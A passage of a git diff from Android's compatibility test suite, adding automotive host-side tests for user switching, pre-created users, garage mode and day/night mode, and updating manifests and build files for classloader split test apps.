+    protected boolean isUserInitialized(int userId) throws Exception {
+        UserInfo userInfo = getUserInfo(userId);
+        CLog.v("isUserInitialized(%d): %s", userId, userInfo);
+        return userInfo.flags.contains("INITIALIZED");
+    }
+
+    /**
+     * Switches the current user.
+     */
+    protected void switchUser(int userId) throws Exception {
+        waitForCarServiceReady();
+        String output = executeCommand("cmd car_service switch-user %d", userId);
+        if (!output.contains("STATUS_SUCCESSFUL")) {
+            throw new IllegalStateException("Failed to switch to user " + userId + ": " + output);
+        }
+        waitUntilCurrentUser(userId);
+    }
+
+    /**
+     * Waits until the given user is the current foreground user.
+     */
+    protected void waitUntilCurrentUser(int userId) throws Exception {
+        CommonTestUtils.waitUntil("timed out (" + DEFAULT_TIMEOUT_SEC
+                + "s) waiting for current user to be " + userId
+                + " (it is " + getCurrentUserId() + ")",
+                DEFAULT_TIMEOUT_SEC,
+                () -> (getCurrentUserId() == userId));
+    }
+
+    /**
+     * Removes a user by user ID and update the list of users to be removed.
+     */
+    protected void removeUser(int userId) throws Exception {
+        executeCommand("cmd car_service remove-user %d", userId);
+    }
+
+    /**
+     * Checks if an app is installed for a given user.
+     */
+    protected boolean isAppInstalledForUser(String packageName, int userId)
+            throws DeviceNotAvailableException {
+        return getDevice().isPackageInstalled(packageName, Integer.toString(userId));
+    }
+
+    /**
+     * Fails the test if the app is installed for the given user.
+     */
+    protected void assertAppInstalledForUser(String packageName, int userId)
+            throws DeviceNotAvailableException {
+        assertWithMessage("%s should BE installed for user %s", packageName, userId).that(
+                isAppInstalledForUser(packageName, userId)).isTrue();
+    }
+
+    /**
+     * Fails the test if the app is NOT installed for the given user.
+     */
+    protected void assertAppNotInstalledForUser(String packageName, int userId)
+            throws DeviceNotAvailableException {
+        assertWithMessage("%s should NOT be installed for user %s", packageName, userId).that(
+                isAppInstalledForUser(packageName, userId)).isFalse();
+    }
+
+    /**
+     * Restarts the system server process.
+     *
+     * <p>Useful for cases where the test case changes system properties, as
+     * {@link ITestDevice#reboot()} would reset them.
+     */
+    protected void restartSystemServer() throws Exception {
+        final ITestDevice device = getDevice();
+        device.executeShellCommand("stop");
+        device.executeShellCommand("start");
+        device.waitForDeviceAvailable();
+        waitForCarServiceReady();
+    }
+
+    /**
+     * Gets mapping of package and permissions granted for requested user id.
+     *
+     * @return Map<String, List<String>> where key is the package name and
+     * the value is list of permissions granted for this user.
+     */
+    protected Map<String, List<String>> getPackagesAndPermissionsForUser(int userId)
+            throws Exception {
+        CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice().executeShellCommand("dumpsys package --proto", receiver);
+
+        PackageServiceDumpProto dump = PackageServiceDumpProto.parser()
+                .parseFrom(receiver.getOutput());
+
+        CLog.v("Device has %d packages while getPackagesAndPermissions", dump.getPackagesCount());
+        Map<String, List<String>> pkgMap = new HashMap<>();
+        for (PackageProto pkg : dump.getPackagesList()) {
+            String pkgName = pkg.getName();
+            for (UserPermissionsProto userPermissions : pkg.getUserPermissionsList()) {
+                if (userPermissions.getId() == userId) {
+                    pkgMap.put(pkg.getName(), userPermissions.getGrantedPermissionsList());
+                    break;
+                }
+            }
+        }
+        return pkgMap;
+    }
+
+    /**
+     * Sleeps for the given amount of milliseconds.
+     */
+    protected void sleep(long ms) throws InterruptedException {
+        CLog.v("Sleeping for %dms", ms);
+        Thread.sleep(ms);
+        CLog.v("Woke up; Little Susie woke up!");
+    }
+
+    // TODO(b/169341308): move to common infra code
+    private static final class RequiredFeatureRule implements TestRule {
+
+        private final ITestInformationReceiver mReceiver;
+        private final String mFeature;
+
+        RequiredFeatureRule(ITestInformationReceiver receiver, String feature) {
+            mReceiver = receiver;
+            mFeature = feature;
+        }
+
+        @Override
+        public Statement apply(Statement base, Description description) {
+            return new Statement() {
+
+                @Override
+                public void evaluate() throws Throwable {
+                    boolean hasFeature = false;
+                    try {
+                        hasFeature = mReceiver.getTestInformation().getDevice()
+                                .hasFeature(mFeature);
+                    } catch (DeviceNotAvailableException e) {
+                        CLog.e("Could not check if device has feature %s: %e", mFeature, e);
+                        return;
+                    }
+
+                    if (!hasFeature) {
+                        CLog.d("skipping %s#%s"
+                                + " because device does not have feature '%s'",
+                                description.getClassName(), description.getMethodName(), mFeature);
+                        throw new AssumptionViolatedException("Device does not have feature '"
+                                + mFeature + "'");
+                    }
+                    base.evaluate();
+                }
+            };
+        }
+
+        @Override
+        public String toString() {
+            return "RequiredFeatureRule[" + mFeature + "]";
+        }
+    }
+
+    /**
+     * Represents a user as returned by {@code cmd user list -v}.
+     */
+    public static final class UserInfo {
+        public final int id;
+        public final String flags;
+        public final String name;
+        public final String otherState;
+
+        private UserInfo(Matcher matcher) {
+            id = Integer.parseInt(matcher.group(USER_PATTERN_GROUP_ID));
+            flags = matcher.group(USER_PATTERN_GROUP_FLAGS);
+            name = matcher.group(USER_PATTERN_GROUP_NAME);
+            otherState = matcher.group(USER_PATTERN_GROUP_OTHER_STATE);
+        }
+
+        @Override
+        public String toString() {
+            return "[UserInfo: id=" + id + ", flags=" + flags + ", name=" + name
+                    + ", otherState=" + otherState + "]";
+        }
+    }
+}
diff --git a/hostsidetests/car/src/android/car/cts/GarageModeAtomTests.java b/hostsidetests/car/src/android/car/cts/GarageModeAtomTests.java
new file mode 100644
index 0000000..cc8823a
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/GarageModeAtomTests.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Verifies that Automotive's Garage Mode reports its status.
+ *
+ * <p> {@code statsd} atom tests are done via adb (hostside).
+ */
+public class GarageModeAtomTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String TAG = "Statsd.GarageModeAtomTests";
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+
+        // Give enough time to remove/clear reports in statsd because that happens
+        // asynchronously
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testGarageModeOnOff() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.GARAGE_MODE_INFO_FIELD_NUMBER);
+
+        // Garage mode ON
+        Set<Integer> garageModeOn = new HashSet<>(Arrays.asList(1));
+        // Garage mode OFF
+        Set<Integer> garageModeOff = new HashSet<>(Arrays.asList(0));
+        List<Set<Integer>> stateSet = Arrays.asList(garageModeOn, garageModeOff);
+
+        turnOnGarageMode();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        turnOffGarageMode();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getGarageModeInfo().getIsGarageMode() ?  1 : 0);
+
+    }
+
+    private void turnOnGarageMode() throws Exception {
+        getDevice().executeShellCommand("cmd car_service garage-mode on");
+    }
+
+    private void turnOffGarageMode() throws Exception {
+        getDevice().executeShellCommand("cmd car_service garage-mode off");
+    }
+}
diff --git a/hostsidetests/car/src/android/car/cts/OptionalFeatureHostTest.java b/hostsidetests/car/src/android/car/cts/OptionalFeatureHostTest.java
index 55425d4..1cf5d1e 100644
--- a/hostsidetests/car/src/android/car/cts/OptionalFeatureHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/OptionalFeatureHostTest.java
@@ -20,12 +20,9 @@
 
 import static org.hamcrest.CoreMatchers.endsWith;
 import static org.junit.Assume.assumeThat;
-import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
-import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -39,9 +36,7 @@
  * Check Optional Feature related car configs.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class OptionalFeatureHostTest extends BaseHostJUnit4Test {
-
-    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+public class OptionalFeatureHostTest extends CarHostJUnit4TestCase {
 
     private static final String[] MANDATORY_FEATURES = {
             "android.car.input",
@@ -50,12 +45,12 @@
             "cabin",
             "car_bluetooth",
             "car_bugreport",
+            "car_device_policy_service",
             "car_media",
             "car_navigation_service",
             "car_occupant_zone_service",
             "car_user_service",
             "car_watchdog",
-            "configuration",
             "drivingstate",
             "hvac",
             "info",
@@ -68,11 +63,6 @@
             "vendor_extension"
     };
 
-    @Before
-    public void setUp() throws Exception {
-        assumeTrue(hasDeviceFeature(FEATURE_AUTOMOTIVE));
-    }
-
     /**
      * Partners can use the same system image for multiple product configs with variation in
      * optional feature support. But CTS should run in a config where VHAL
diff --git a/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java b/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java
new file mode 100644
index 0000000..05acc3d
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java
@@ -0,0 +1,303 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.android.tradefed.device.NativeDevice.INVALID_USER_ID;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.Presubmit;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.stream.Collectors;
+
+/**
+ * Tests for pre-created users.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class PreCreateUsersHostTest extends CarHostJUnit4TestCase {
+    private static final int DEFAULT_TIMEOUT_SEC = 20;
+    private static int sNumberCreateadUsers;
+
+    /**
+     * Uninstalls the test app.
+     */
+    @Before
+    @After
+    public void uninstallTestApp() throws Exception {
+        assumeSupportsMultipleUsers();
+        getDevice().uninstallPackage(APP_PKG);
+    }
+
+    /**
+     * Makes sure an app installed for a regular user is not visible to a pre-created user.
+     */
+    @Presubmit
+    @Test
+    public void testAppsAreNotInstalledOnPreCreatedUser() throws Exception {
+        appsAreNotInstalledOnPreCreatedUserTest(/* isGuest= */ false, /* afterReboot= */ false);
+    }
+
+    /**
+     * Same as {@link #testAppsAreNotInstalledOnPreCreatedUser()}, but for a guest user.
+     */
+    @Presubmit
+    @Test
+    public void testAppsAreNotInstalledOnPreCreatedGuest() throws Exception {
+        appsAreNotInstalledOnPreCreatedUserTest(/* isGuest= */ true, /* afterReboot= */ false);
+    }
+
+    /**
+     * Makes sure an app installed for a regular user is not visible to a pre-created user, even
+     * after the system restarts
+     */
+    @Presubmit
+    @Test
+    public void testAppsAreNotInstalledOnPreCreatedUserAfterReboot() throws Exception {
+        appsAreNotInstalledOnPreCreatedUserTest(/* isGuest= */ false, /* afterReboot= */ true);
+    }
+
+    /**
+     * Same as {@link #testAppsAreNotInstalledOnPreCreatedUserAfterReboot()}, but for a guest
+     * user.
+     */
+    @Presubmit
+    @Test
+    public void testAppsAreNotInstalledOnPreCreatedGuestAfterReboot() throws Exception {
+        appsAreNotInstalledOnPreCreatedUserTest(/* isGuest= */ true, /* afterReboot= */ true);
+    }
+
+    private void appsAreNotInstalledOnPreCreatedUserTest(boolean isGuest,
+            boolean afterReboot) throws Exception {
+        deletePreCreatedUsers();
+        requiresExtraUsers(1);
+
+        int initialUserId = getCurrentUserId();
+        int preCreatedUserId = preCreateUser(isGuest);
+
+        installPackageAsUser(APP_APK, /* grantPermission= */ false, initialUserId);
+
+        assertAppInstalledForUser(APP_PKG, initialUserId);
+        assertAppNotInstalledForUser(APP_PKG, preCreatedUserId);
+
+        if (afterReboot) {
+            restartSystemWithOnePreCreatedUserOrGuest(isGuest);
+
+            // Checks again
+            assertAppInstalledForUser(APP_PKG, initialUserId);
+            assertAppNotInstalledForUser(APP_PKG, preCreatedUserId);
+        }
+        convertPreCreatedUser(isGuest, preCreatedUserId);
+        assertAppNotInstalledForUser(APP_PKG, preCreatedUserId);
+    }
+
+    /**
+     * Verifies a pre-created user have same packages as non-precreated users.
+     */
+    @Presubmit
+    @Test
+    public void testAppPermissionsPreCreatedUserPackages() throws Exception {
+        appPermissionsPreCreatedUserPackagesTest(/* isGuest= */ false, /* afterReboot= */ false);
+    }
+
+    /**
+     * Verifies a pre-created guest have same packages as non-precreated users.
+     */
+    @Presubmit
+    @Test
+    public void testAppPermissionsPreCreatedGuestPackages() throws Exception {
+        appPermissionsPreCreatedUserPackagesTest(/* isGuest= */ true, /* afterReboot= */ false);
+    }
+
+    /**
+     * Verifies a pre-created user have same packages as non-precreated users.
+     */
+    @Presubmit
+    @Test
+    public void testAppPermissionsPreCreatedUserPackagesAfterReboot() throws Exception {
+        appPermissionsPreCreatedUserPackagesTest(/* isGuest= */ false, /* afterReboot= */ true);
+    }
+
+    /**
+     * Verifies a pre-created guest have same packages as non-precreated users.
+     */
+    @Presubmit
+    @Test
+    public void testAppPermissionsPreCreatedGuestPackagesAfterReboot() throws Exception {
+        appPermissionsPreCreatedUserPackagesTest(/* isGuest= */ true, /* afterReboot= */ true);
+    }
+
+    private void appPermissionsPreCreatedUserPackagesTest(boolean isGuest, boolean afterReboot)
+            throws Exception {
+        deletePreCreatedUsers();
+        requiresExtraUsers(2);
+
+        // Create a normal reference user
+        int referenceUserId = isGuest
+                ? createGuestUser("PreCreatedUsersTest_Reference_Guest")
+                : createFullUser("PreCreatedUsersTest_Reference_User");
+        waitUntilUserPermissionsIsReady(referenceUserId);
+        Map<String, List<String>> refPkgMap = getPackagesAndPermissionsForUser(referenceUserId);
+
+        // There can be just one guest by default, so remove it now otherwise
+        // convertPreCreatedUser() below will fail
+        if (isGuest && !afterReboot) {
+            removeUser(referenceUserId);
+        }
+
+        int initialUserId = getCurrentUserId();
+        int preCreatedUserId = preCreateUser(isGuest);
+
+        if (afterReboot) {
+            restartSystemWithOnePreCreatedUserOrGuest(isGuest);
+        }
+
+        convertPreCreatedUser(isGuest, preCreatedUserId);
+        waitUntilUserPermissionsIsReady(preCreatedUserId);
+        Map<String, List<String>> actualPkgMap = getPackagesAndPermissionsForUser(preCreatedUserId);
+
+        List<String> errors = new ArrayList<>();
+        for (String pkg: refPkgMap.keySet()) {
+            addError(errors, () ->
+                    assertWithMessage("permissions state mismatch for %s", pkg)
+                            .that(actualPkgMap.get(pkg))
+                            .isEqualTo(refPkgMap.get(pkg)));
+        }
+        assertWithMessage("found %s error", errors.size()).that(errors).isEmpty();
+    }
+
+    private void addError(List<String> error, Runnable r) {
+        try {
+            r.run();
+        } catch (Throwable t) {
+            error.add(t.getMessage());
+        }
+    }
+
+    private void assertHasPreCreatedUser(int userId) throws Exception {
+        List<Integer> existingIds = getPreCreatedUsers();
+        CLog.d("assertHasPreCreatedUser(%d): pool=%s", userId, existingIds);
+        assertWithMessage("pre-created user not found").that(existingIds).contains(userId);
+    }
+
+    private List<Integer> getPreCreatedUsers() throws Exception {
+        return onAllUsers((allUsers) -> allUsers.stream()
+                    .filter((u) -> u.otherState.contains("(pre-created)")
+                            && !u.flags.contains("DISABLED"))
+                    .map((u) -> u.id).collect(Collectors.toList()));
+    }
+
+    private int preCreateUser(boolean isGuest) throws Exception {
+        return executeAndParseCommand((output) -> {
+            int userId = INVALID_USER_ID;
+            if (output.startsWith("Success")) {
+                try {
+                    userId = Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim());
+                    CLog.i("Pre-created user with id %d; waiting until it's initialized", userId);
+                    markUserForRemovalAfterTest(userId);
+                    waitForUserInitialized(userId);
+                    assertHasPreCreatedUser(userId);
+                    waitUntilUserDataIsPersisted(userId);
+                } catch (Exception e) {
+                    CLog.e("Exception pre-creating %s: %s", (isGuest ? "guest" : "user"), e);
+                }
+            }
+            if (userId == INVALID_USER_ID) {
+                throw new IllegalStateException("failed to pre-create user");
+            }
+            return userId;
+        }, "pm create-user --pre-create-only%s", (isGuest ? " --guest" : ""));
+    }
+
+    // TODO(b/169588446): remove method and callers once it's not needed anymore
+    private void waitUntilUserDataIsPersisted(int userId) throws InterruptedException {
+        int napTimeSec = 10;
+        CLog.i("Sleeping %ds to make sure user data for user %d is persisted", napTimeSec, userId);
+        sleep(napTimeSec * 1_000);
+    }
+
+    // TODO(b/170263003): update this method after core framewokr's refactoring for proto
+    private void waitUntilUserPermissionsIsReady(int userId) throws InterruptedException {
+        int napTimeSec = 10;
+        CLog.i("Sleeping %ds to make permissions for user %d is ready", napTimeSec, userId);
+        sleep(napTimeSec * 1_000);
+    }
+
+    private void deletePreCreatedUsers() throws Exception {
+        List<Integer> userIds = getPreCreatedUsers();
+        for (int userId : userIds) {
+            getDevice().removeUser(userId);
+        }
+    }
+
+    private void setPreCreatedUsersProperties(int value) throws DeviceNotAvailableException {
+        getDevice().setProperty("android.car.number_pre_created_users", Integer.toString(value));
+    }
+
+    private void setPreCreatedGuestsProperties(int value) throws DeviceNotAvailableException {
+        getDevice().setProperty("android.car.number_pre_created_guests", Integer.toString(value));
+    }
+
+    private void convertPreCreatedUser(boolean isGuest, int expectedId) throws Exception {
+        assertHasPreCreatedUser(expectedId);
+        String type = isGuest ? "guest" : "user";
+        int suffix = ++sNumberCreateadUsers;
+        int newUserId = isGuest
+                ? createGuestUser("PreCreatedUsersTest_ConvertedGuest_" + suffix)
+                : createFullUser("PreCreatedUsersTest_ConvertedUser_" + suffix);
+        if (newUserId == expectedId) {
+            CLog.i("Created new %s from pre-created %s with id %d", type, type, newUserId);
+            return;
+        }
+        fail("Created new " + type + " with id " + newUserId + ", which doesn't match pre-created "
+                + "id " + expectedId);
+    }
+
+    private void restartSystemWithOnePreCreatedUserOrGuest(boolean isGuest) throws Exception {
+        List<Integer> ids = getPreCreatedUsers();
+        CLog.d("Pre-created users before boot: %s", ids);
+        assertWithMessage("Should have just 1 pre-created user before boot").that(ids).hasSize(1);
+        assertUserInitialized(ids.get(0));
+
+        // CarUserService creates / remove pre-created users on boot to keep the pool constant,
+        // based on system properties. We need to tune then so the pre-created users set by this
+        // test are not changed when the system restarts.
+        if (isGuest) {
+            setPreCreatedGuestsProperties(1);
+            setPreCreatedUsersProperties(0);
+        } else {
+            setPreCreatedUsersProperties(1);
+            setPreCreatedGuestsProperties(0);
+        }
+
+        // Restart the system to make sure PackageManager preserves the installed bit
+        restartSystemServer();
+    }
+}
diff --git a/hostsidetests/car/src/android/car/cts/UiModeHostTest.java b/hostsidetests/car/src/android/car/cts/UiModeHostTest.java
new file mode 100644
index 0000000..f0158f7
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/UiModeHostTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+/**
+ * Check car config consistency across day night mode switching.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class UiModeHostTest extends CarHostJUnit4TestCase {
+
+    private static final Pattern NIGHT_MODE_REGEX = Pattern.compile("Night mode: (yes|no)");
+
+    /**
+     * Test day/night mode consistency across user switching. Day/night mode config should be
+     * persistent across user switching.
+     */
+    @Test
+    public void testUserSwitchingConfigConsistency() throws Exception {
+        requiresExtraUsers(1);
+
+        int originalUserId = getCurrentUserId();
+        int newUserId = createFullUser("UiModeHostTest");
+
+        // start current user in day mode
+        setDayMode();
+        assertThat(isNightMode()).isFalse();
+
+        // set to night mode
+        setNightMode();
+        assertThat(isNightMode()).isTrue();
+
+        // switch to new user and verify night mode
+        switchUser(newUserId);
+        assertThat(isNightMode()).isTrue();
+
+        // set to day mode
+        setDayMode();
+        assertThat(isNightMode()).isFalse();
+
+        // switch bach to initial user and verify day mode
+        switchUser(originalUserId);
+        assertThat(isNightMode()).isFalse();
+    }
+
+    /**
+     * Sets the UI mode to day mode.
+     */
+    protected void setDayMode() throws Exception {
+        executeCommand("cmd car_service day-night-mode day");
+    }
+
+    /**
+     * Sets the UI mode to night mode.
+     */
+    protected void setNightMode() throws Exception {
+        executeCommand("cmd car_service day-night-mode night");
+    }
+
+    /**
+     * Returns true if the current UI mode is night mode, false otherwise.
+     */
+    protected boolean isNightMode() throws Exception {
+        return executeAndParseCommand(NIGHT_MODE_REGEX,
+                "get night mode status failed",
+                matcher -> matcher.group(1).equals("yes"),
+                "cmd uimode night");
+    }
+}
diff --git a/hostsidetests/classloaders/splits/Android.bp b/hostsidetests/classloaders/splits/Android.bp
index 1584e52..f19b5da 100644
--- a/hostsidetests/classloaders/splits/Android.bp
+++ b/hostsidetests/classloaders/splits/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsClassloaderSplitsHostTestCases",
     defaults: [ "cts_defaults" ],
diff --git a/hostsidetests/classloaders/splits/apps/Android.bp b/hostsidetests/classloaders/splits/apps/Android.bp
index 7e1f9ce..c0975ac 100644
--- a/hostsidetests/classloaders/splits/apps/Android.bp
+++ b/hostsidetests/classloaders/splits/apps/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsClassloaderSplitApp",
     defaults: [ "cts_support_defaults" ],
diff --git a/hostsidetests/classloaders/splits/apps/AndroidManifest.xml b/hostsidetests/classloaders/splits/apps/AndroidManifest.xml
index d2499fb..d693c21 100644
--- a/hostsidetests/classloaders/splits/apps/AndroidManifest.xml
+++ b/hostsidetests/classloaders/splits/apps/AndroidManifest.xml
@@ -15,29 +15,31 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.classloadersplitapp"
-    android:isolatedSplits="true"
-    android:targetSandboxVersion="2">
+     package="com.android.cts.classloadersplitapp"
+     android:isolatedSplits="true"
+     android:targetSandboxVersion="2">
 
     <application android:label="ClassloaderSplitApp"
-                 android:classLoader="dalvik.system.PathClassLoader">
+         android:classLoader="dalvik.system.PathClassLoader">
 
-        <activity android:name=".BaseActivity">
+        <activity android:name=".BaseActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
           </activity>
-          <receiver android:name=".BaseReceiver">
+          <receiver android:name=".BaseReceiver"
+               android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+                <action android:name="com.android.cts.classloadersplitapp.ACTION"/>
             </intent-filter>
           </receiver>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.classloadersplitapp" />
+         android:targetPackage="com.android.cts.classloadersplitapp"/>
 
 </manifest>
diff --git a/hostsidetests/classloaders/splits/apps/feature_a/Android.bp b/hostsidetests/classloaders/splits/apps/feature_a/Android.bp
index 8f96bda..7dd21cf 100644
--- a/hostsidetests/classloaders/splits/apps/feature_a/Android.bp
+++ b/hostsidetests/classloaders/splits/apps/feature_a/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsClassloaderSplitAppFeatureA",
     defaults: [ "cts_support_defaults" ],
diff --git a/hostsidetests/classloaders/splits/apps/feature_a/AndroidManifest.xml b/hostsidetests/classloaders/splits/apps/feature_a/AndroidManifest.xml
index 96807d6..6d801e9 100644
--- a/hostsidetests/classloaders/splits/apps/feature_a/AndroidManifest.xml
+++ b/hostsidetests/classloaders/splits/apps/feature_a/AndroidManifest.xml
@@ -15,20 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.classloadersplitapp"
-        featureSplit="feature_a"
-        android:targetSandboxVersion="2">
+     package="com.android.cts.classloadersplitapp"
+     featureSplit="feature_a"
+     android:targetSandboxVersion="2">
 
     <application android:classLoader="dalvik.system.DelegateLastClassLoader">
-        <activity android:name=".feature_a.FeatureAActivity">
+        <activity android:name=".feature_a.FeatureAActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <receiver android:name=".feature_a.FeatureAReceiver">
+        <receiver android:name=".feature_a.FeatureAReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+                <action android:name="com.android.cts.classloadersplitapp.ACTION"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/hostsidetests/classloaders/splits/apps/feature_b/Android.bp b/hostsidetests/classloaders/splits/apps/feature_b/Android.bp
index aed8b69..84c1f53 100644
--- a/hostsidetests/classloaders/splits/apps/feature_b/Android.bp
+++ b/hostsidetests/classloaders/splits/apps/feature_b/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsClassloaderSplitAppFeatureB",
     defaults: [ "cts_support_defaults" ],
diff --git a/hostsidetests/classloaders/splits/apps/feature_b/AndroidManifest.xml b/hostsidetests/classloaders/splits/apps/feature_b/AndroidManifest.xml
index fa975ad..3cde8aee 100644
--- a/hostsidetests/classloaders/splits/apps/feature_b/AndroidManifest.xml
+++ b/hostsidetests/classloaders/splits/apps/feature_b/AndroidManifest.xml
@@ -15,22 +15,24 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.classloadersplitapp"
-        featureSplit="feature_b"
-        android:targetSandboxVersion="2">
+     package="com.android.cts.classloadersplitapp"
+     featureSplit="feature_b"
+     android:targetSandboxVersion="2">
 
-    <uses-split android:name="feature_a" />
+    <uses-split android:name="feature_a"/>
 
     <application>
-        <activity android:name=".feature_b.FeatureBActivity">
+        <activity android:name=".feature_b.FeatureBActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <receiver android:name=".feature_b.FeatureBReceiver">
